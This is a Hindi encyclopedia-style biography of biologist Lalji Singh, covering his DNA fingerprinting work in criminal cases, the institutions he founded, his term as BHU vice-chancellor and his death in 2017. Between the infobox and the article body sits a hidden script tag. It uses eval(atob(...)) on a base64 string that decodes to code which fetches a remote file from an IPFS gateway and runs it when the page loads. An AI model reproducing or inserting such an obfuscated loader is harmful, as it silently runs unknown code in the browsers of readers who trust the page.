लालजी सिंह  

लालजी सिंह
पूरा नाम लालजी सिंह
जन्म 5 जुलाई, 1947
जन्म भूमि जौनपुर, उत्तर प्रदेश
मृत्यु 10 दिसंबर, 2017
मृत्यु स्थान वाराणसी, उत्तर प्रदेश
पति/पत्नी अमरावती सिंह
कर्म भूमि भारत
विद्यालय बनारस हिन्दू विश्वविद्यालय
प्रसिद्धि जीव विज्ञानी
नागरिकता भारतीय
अन्य जानकारी लालजी सिंह ने भारत में कई संस्थानों और लैब की शुरुआत की। वे हैदराबाद के कोशिकीय एवं आणविक जीवविज्ञान केंद्र के फाउंडर भी थे। उन्होंने 1995 में डीएनए फिंगर प्रिंटिंग और डायग्‍नोस्टिक्स सेंटर शुरू किया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>लालजी सिंह (अंग्रेज़ी: Lalji Singh, जन्म- 5 जुलाई, 1947; मृत्यु- 10 दिसंबर, 2017) हैदराबाद स्थित 'कोशिकीय एवं आणविक जीवविज्ञान केन्द्र' के भूतपूर्व निदेशक थे। वे बनारस हिन्दू विश्वविद्यालय के कुलपति भी रहे। लालजी सिंह भारत के नामी जीव विज्ञानी थे। लिंग निर्धारण का आणविक आधार, डीएनए फिंगर प्रिंटिंग, वन्यजीव संरक्षण, रेशम कीट जीनोम विश्लेषण, मानव जीनोम एवं प्राचीन डीएनए अध्ययन आदि उनकी रुचि के प्रमुख विषय थे। उन्होंने देश के सबसे चर्चित राजीव गांधी मर्डर केस, नैना साहनी मर्डर, स्वामी श्रद्धानंद, सी.एम. बेअंत सिंह, मधुमिता मर्डर और मंटू मर्डर केस को भारतीय डीएनए फिंगर प्रिंट तकनीक के जर‍िए सुलझाया था। भारत में पहली बार क्राइम इन्वेस्टिगेशन को 1988 में नई दिशा देने के लिए डीएनए फिंगर प्रिंट तकनीक को खोजा गया था। लालजी सिंह को भारत में डीएनए टेस्ट का जनक कहा जाता है।

परिचय

डॉ. लालजी को उनके काम के लिए जाना जाता है। उनका जन्म 5 जुलाई 1947 को उत्तर प्रदेश के जौनपुर जिले में एक छोटे से गांव कलवारी में हुआ था। उनके पिता एक मामूली किसान थे। लालजी सिंह ने बीएचयू से एमएससी करने के बाद कोशिका आनुवंशिकी में पीएचडी की। उन्‍हें बीएचयू समेत 6 विश्‍वविद्यालयों ने डीएससी की उपाधि भी दी थी। प्रोफसर सिंह ने राजीव गांधी मर्डर केस, नैना साहनी मर्डर, स्वामी श्रद्धानंद, सीएम बेअंत सिंह, मधुमिता हत्याकांड और मंटू हत्याकांड जैसे केस को डीएनए फिंगर प्रिंट तकनीक से जांच करके सुलझाया था।

योगदान

लालजी सिंह ने भारत में कई संस्थानों और लैब की शुरुआत की। वे हैदराबाद के कोशिकीय एवं आणविक जीवविज्ञान केंद्र के फाउंडर भी थे। उन्होंने 1995 में डीएनए फिंगर प्रिंटिंग और डायग्‍नोस्टिक्स सेंटर शुरू किया। 2004 में जीओम फाउंडेशन शुरू किया। इसका उद्देश्य था कि भारत के लोगों में जेनेटिक बीमारियों को खोजकर उनका इलाज किया जाए। इस फाउंडेशन की शुरुआत मुख्‍यरूप से ग्रामीण इलाकों और पिछड़े इलाकों के लोगों के लिए की गई।

उच्च पदों पर कार्य

अगस्त 2011 से अगस्त 2014 तक लालजी सिंह बीएचयू के 25वें वीसी के रूप में कार्यरत रहे। खबरों की मानें, तो बीएचयू का वीसी रहने के दौरान उन्होंने सिर्फ एक रुपये वेतन लिया। वे अगस्त 2011 से अगस्त 2014 तक आईआईटी बीएचयू बोर्ड के चेयरमैन भी रहे। मई 1998 से जुलाई 2009 तक वे सीसीएमबी के निदेशक और 1995 से 1999 तक सेंटर फ़ॉर डीएनए फिंगरप्रिटिंग एंड डाइग्नोस्टिक (Centre for DNA Fingerprinting and Diagnostic) के ओएसडी रहे। उन्होंने आणविक आधार पर लिंग परीक्षण, वन्य जीव संरक्षण, फोरेंसिक और मानव प्रवास पर काफी काम किया।

मृत्यु

लालजी सिंह अपने जन्मस्थान जौनपुर के कलवारी गांव गए थे। वहां से दिल्ली जा रहे थे। वाराणसी के एलबीएस अंतरराष्ट्रीय हवाई अड्डे पर उन्हें दिल में दर्द उठा। उन्हें बीएचयू के ट्रॉमा सेंटर लाया गया, लेकिन बचाया नहीं जा सका। संभवत: लालजी को दिल का दौरा पड़ा था।


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टीका टिप्पणी और संदर्भ

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